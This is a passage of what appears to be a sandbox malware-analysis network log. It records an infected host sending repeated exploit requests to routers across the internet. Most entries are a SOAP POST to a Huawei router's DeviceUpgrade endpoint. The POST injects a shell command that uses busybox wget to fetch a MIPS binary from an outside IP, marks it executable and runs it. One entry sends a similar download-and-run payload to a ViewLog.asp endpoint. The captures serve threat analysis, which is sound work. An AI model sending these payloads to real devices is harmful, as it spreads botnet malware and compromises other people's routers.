HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:11.302630901 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:44.070493937 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.13	60640	94.120.149.207	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:40.220937014 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.13	37066	156.226.15.199	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:41.539170027 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:15:45.702578068 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:15:51.846571922 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:03.878578901 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:29.734540939 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:18.886324883 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.13	49240	41.250.5.13	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:42.066030979 CET	886	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 